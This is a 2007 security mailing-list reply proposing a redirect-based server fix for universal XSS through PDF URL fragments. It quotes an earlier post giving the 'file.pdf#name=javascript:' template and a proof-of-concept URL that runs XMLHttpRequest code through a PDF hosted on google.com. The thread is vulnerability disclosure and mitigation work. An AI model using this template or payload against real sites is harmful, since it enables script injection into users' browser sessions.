Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

["HASEGAWA Yosuke " <yosuke.hasegawa@xxxxxxxxx>]

Hi,

As the server side solution, force rewriting fragment identifiers in URI by
redirecion responce can be considered.

Disallow the directoly access to PDF on the server and return response such as:
--
Location: http://example.com/one-shot-url.pdf#top
--

As a result, fragment identifiers in URI is rewritten and executing
malicious script
can be prevented.
"one-shot-url" must be unpredictable  disposable address by attacker.

Regards,

On 1/3/07, pdp (architect) <pdp.gnucitizen@xxxxxxxxxxxxxx> wrote:
> I will be very quick and just point to links where you can read about
> this issue.
>
> It seams that PDF documents can execute JavaScript code for no
> apparent reason by using the following template:
>
>     http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
>
> You must understand that the attacker doesn't need to have write
> access to the specified PDF document. In order to get an XSS vector
> working you need to have a PDF file hosted on the target and that's
> all about it. The rest is just a matter of your abilities and desires.
>
> This finding was originally mentioned by Sven Vetsch, on his blog.
> This is a very good and quite interesting. Good work.
>
> There is a POC I composed:
>
> http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
>
> More on the matter can be found here:
>
> http://www.gnucitizen.org/blog/danger-danger-danger/
> http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
>
> --
> pdp (architect) | petko d. petkov
> http://www.gnucitizen.org
>
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--
HASEGAWA Yosuke
   yosuke.hasegawa@xxxxxxxxx